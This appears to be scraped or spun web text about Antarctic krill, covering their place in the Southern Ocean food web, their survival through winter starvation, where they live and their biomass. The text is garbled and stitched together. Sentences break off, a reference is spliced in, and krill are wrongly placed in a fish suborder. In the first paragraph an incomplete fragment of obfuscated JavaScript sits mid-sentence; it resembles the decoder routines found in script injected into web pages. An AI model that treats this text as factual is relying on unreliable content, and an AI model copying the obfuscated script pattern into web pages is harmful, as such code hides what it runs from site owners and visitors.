Antarctic krill are well-known for their central role in the Southern Ocean food web, where they’re a food for marine predators such as seals, penguins and whales. The group was established in 2018 by the Scientific Committee of Antarctic Research (SCAR), with support from the Commission for the Conservation of Antarctic Marine Living Resources ( CCAMLR ). For example, female krill can lay 1000 eggs at one time. Unusually large for zooplankton they are eaten by just Krill Physiological Adaptations Can withstand long periods of starvation (up to 200 days) by using their muscle as a reserve, the krill shrink in the process, this happens over the winter months when the krill are under seasonal sea ice and there is little or no photosynthesis "x.charAt(i+1);try{o+=x.charAt(i);}catch(e){}}return o;}f(\"ufcnitnof x({)av" + Everson, I. item, Antarctic krill, Euphausia superba. in Antarctica?

In contrast, the density of Antarctic krill north of the Peninsula and around South Georgia seems to vouch for a temperature tolerance of the order of several degrees above zero [15,22].

Euphausia superba dominates north of the pack ice, while the smaller E. crystallorophias is the principle krill species under the ice. The latter is one of five different families that belong to the suborder Notothenioidei of the order Perciformes. There are relatively few families in this region, the most species rich-being the Liparidae (snailfishes), followed by Nototheniidae (cod icefishes).

Antarctic krill (Euphausia superba) are the main diet of whales, penguins and seals and form some of the highest concentrations of animal biomass in the world’s oceans – with over an estimated 150 million tonnes. It has been recognized since the 1800s that differences in available prey can drive natural selection and local genetic adaptation, such as the classic case of Darwin’s finches, in which selection is driven by variation in the size and type of available seeds and other food sources (Grant & Grant 2003).
